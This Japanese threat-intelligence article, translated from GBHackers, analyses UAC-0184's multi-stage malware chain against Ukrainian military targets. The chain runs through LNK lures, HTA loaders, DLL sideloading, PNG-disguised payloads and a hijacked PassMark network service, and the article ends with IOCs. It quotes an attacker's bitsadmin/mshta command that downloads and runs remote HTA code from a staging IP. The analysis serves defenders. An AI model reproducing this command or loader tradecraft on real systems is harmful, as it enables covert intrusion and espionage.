UAC-0184はBitsadminとHTAファイルを使用してゲーテッドマルウェアを配信

UAC-0184は、bitsadminとHTAローダーを悪用して複数段階のマルウェアチェーンを使用し、難読化されたペイロードバンドルに到達し、最終的にVSLauncher.exeやPassMark Endpointなどの署名付きバイナリの背後に隠れてウクライナ軍事ネットワークへのステルスネットワークアクセスを獲得します。

2024年から2025年にかけてのCERT-UAレポートでは、ウクライナ軍の所属アカウントに焦点を当てており、軍事書類、戦闘映像、個人的な連絡をテーマにした誘い文句が使用されています。

公開分析ではさらに、グループが段階的なローダー、ソーシャルエンジニアリング配信、および市販のツールとカスタムマルウェアの組み合わせの使用を好んでいることが指摘されています。

ここで説明されているサンプルはそのプロフィールに適合しています。Malwarebaazarではウクライナ関連(「UKR」)としてタグ付けされており、ショートカットファイルに「Рапорт」(レポート)や「Таблиця」(表)などのウクライナ語/ロシア語の名前を使用しており、CERT-UAで文書化されたUAC-0184キャンペーンと一致しています。

GBhackersと共有されたレポートの中でSynapticsystemsは述べています、UAC-0184はロシア寄りのクラスターであり、メッセンジャーやデートプラットフォーム経由のキャンペーンを含むウクライナ軍事政府に対するサイバースパイ活動に繰り返しリンクされています。

タグだけでは標的化を証明しませんが、CERT-UAのインフラストラクチャと手法との重複は強く帰属を支持しています。

UAC-0184はBitsadminを使用

感染チェーンは3つのWindowsショートカット(LNK)ファイルを含むZIPアーカイブで始まります。これらは一般的なオフィスドキュメント(PDFスキャン、Wordレポート、Excelテーブル)に偽装しています。

各LNKはSystem32のcmd.exeを指していますが、実際のロジックはコマンドライン引数にあり、bitsadminを実行してHTAファイルをダウンロードし、一時的なコピーに対してmshta.exeを呼び出します。

観察されたコマンドは一貫したパターンに従います:bitsadmin /transfer myjob /download /priority foreground hxxp://169.40.135[.]35/dctrpr/<name>.hta %TEMP%~tmp(…).hta && mshta.exe %TEMP%~tmp(…).hta。

3つのショートカットすべてが/dctrpr/パスの下で同じIPアドレス169.40.135[.]35に接触し、オペレーターが制御する共有ステージングホストを示唆しています。

これらのURLへの直接ブラウザリクエストは失敗する可能性があり、サーバーが攻撃者のツーリングが模倣するように設計されたゲーティング(例:ジオフェンシングまたはクライアントフィルタリング)を適用する可能性があることを示しています。

Image

LNKレイヤーの背後には、次段階のローダーとして機能するHTAファイルがあります。HTMLは、WScript.ShellActiveXオブジェクトを作成し、非表示ウィンドウ、プロファイルなし、ExecutionPolicyバイパスでPowerShellを実行するJScriptを含み、目に見える成果物とポリシーチェックを減らします。

そのPowerShellコードは、dctrprraclus.zipという名前のZIPファイルを%APPDATA%に書き込み、%APPDATA%\ApplicationData32\に抽出し、そのディレクトリからCluster-Overlay64.exeとデコイPDFの両方を起動します。

ダウンロードロジックは最初にZIPがローカルに既に存在するかどうかをチェックし、必要な場合にのみInvoke-WebRequestを呼び出します。これはレジリエンスに役立ち、ネットワークノイズを減らします。

プライマリ実行可能ファイルの実行と良性に見えるPDFの開くを組み合わせることにより、アクターは誘い文句の現実性を改善し、悪意のある動作を予期されたユーザーの結果の背後に隠します。

dctrprraclus.zip内では、攻撃者はPlane9 3Dミュージックビジュアライザーの正当なコンポーネントであるCluster-Overlay64.exeの周りにファイルの小さなエコシステムをパッケージ化します。

同じディレクトリ内のPlane9Engine.dll、openvr_api.dll、および追加の.bin/.libブロブの存在は、信頼された実行可能ファイルが操作された依存性を読み込む古典的なDLLサイドロードシナリオを示します。これは実際のペイロードを解決します。

静的分析は、openvr_api.dllが.rdataに埋め込まれたRTTI様の難読化文字列経由でkernel-diag.libおよびfilter.binを参照し、コード内の直接的な文字列の使用を避けることを示しています。

Image

DLLはkernel32のエクスポートテーブルを動的にウォークして必要なAPIを解決し、kernel-diag.libをディスクから読み込み、埋め込みキーを使用した32ビット加算経由でデータ領域をデコードし、evr.dllスタイルのローダーのように動作するさらなるペイロードを明らかにします。

次のレイヤーはfilter.binに依存しており、表面的にはランダムデータのように見えますが、内部的には有効に見えるPNGチャンクのシーケンスを保持しています。

デコードされたシェルコードは、「\x89PNG」、「IDAT」、「IEND」などの明白な定数を含み、PNGチャンクを反復処理し、IDATデータを連結し、定数キーを使用したDWORD単位のXORを適用してからLZNT1解凍ルーチンに結果を渡すロジックを実装しています。

連結されたIDATストリーム上の周波数分析は、支配的な32ビット値を明らかにします。XORキーとして使用すると、明確なPE署名を持つデータが生成され、PNG様ファイルが実際には圧縮実行可能コンテンツのためのステージングコンテナであることを確認します。

シェルコードはWindows RtlDecompressBufferセマンティクスと互換性のあるLZNT1デコンプレッサーを呼び出し、最終的に約2MBのペイロードバンドルをもたらします。最初の領域は構成データで、その後に複数のback-to-back PEファイルが続きます。

展開されたバンドルには、PassMark Endpoint(input.dll)、Info-ZIPのunzip.exe、MicrosoftのSqlExpressChk.exeなど、8つの正当なデジタル署名Windows バイナリが含まれています。

構成文字列は、チェーンが最終的にinput.dllをVSLauncher.exeの隣の%windir%\SysWOW64\の下にドロップし、その後VSLauncher.exeを実行してMicrosoftで署名されたプロセスのコンテキストでDLLをサイドロードすることを示しています。

PassMark Endpointは、UDPマルチキャスト224.0.0.255:31339でリッスンし、ポート31339でカスタムTCPプロトコルを使用するネットワークテストサービスを公開し、Winsock、IPヘルパーAPI、パフォーマンスカウンター、MiniDumpWriteDumpをインポートします。

この環境をハイジャックすることで、UAC-0184は、マルチキャストディスカバリーと双方向TCPチャネルを備えた署名付きの疑いのないネットワークスタックを獲得し、診断トラフィックとしてもっともらしく混在させることができ、同時にデータ盗難用のプロセスダンプ機能を継承します。

コマンドおよび制御ビュー

すべてのステージを通じて、アナリストは初期169.40.135[.]35ステージングホストを超えるハードコードされた外部C2ドメインまたはIPを観察していません。

デコードされたシェルコード内の文字列は、「%y…EF{DATA=」などのHTTP動詞とフォーマット様トークンを参照し、実際のコントローラアドレスがランタイムで提供されることを示唆しています。たとえば、マルチキャストディスカバリー、オペレーター提供パラメーター、または個別のローカルアーティファクト経由です。

インフラストラクチャインテリジェンスの観点から、このチェーンは、ゲーテッドHTAおよびZIPステージング、サイドロードされたマルチメディアコンポーネント経由のローカル構成、ペイロードステージング用の疑似PNGファイル形式の悪用、および最終通信サーフェスとして署名された第三者ネットワークユーティリティの再利用を組み合わせています。

そのパターンはより広いUAC-0184の操作と一致していますが、また、静的検出を挫折させるためのより深い難読化と良性の署名付きソフトウェアへのより強い依存への転換を示しています。

IOCs

ネットワーク

hxxp://169.40.135.35/dctrpr/slippersuppity.hta
hxxp://169.40.135.35/dctrpr/basketpast.hta
hxxp://169.40.135.35/dctrpr/agentdiesel.hta
hxxp://169.40.135.35/dctrprraclus.zip
224.0.0.255:31339 UDP PassMark multicast, repurposed
31339/tcp BurnInTest data channel, repurposed

SHA-256

kernel-diag.lib
dc6cddc391b373b18f105f49a80ff83d53b430d8dea35c1f1576832fa9fbd2b3
filter.bin
f5ca9c53d1537142889d7172c6643e886b2164233b91f0fc2d41ca010f035372
openvr_api.dll
df6942dc1a89226359adf1aac597c3b270f4a408214b4f7c2083f9524605e0f7
input.dll
b811f28b844eff8c1f4f931639bed5bcc41113364fdfc44d7703259457839edb
PE_08 SqlExpChk
33e44dea247eaa8b0fc8ed1f8ed575905f6ce0b7119337ddd29863bbb03288b3

注: IPアドレスとドメインは、誤った解決またはハイパーリンクを防ぐために意図的に脱ファングされています(例: [.])。MISP、VirusTotal、またはSIEMなどの制御された脅威インテリジェンスプラットフォーム内でのみ再ファングしてください。

翻訳元: https://gbhackers.com/uac-0184-uses-bitsadmin/

ソース: gbhackers.com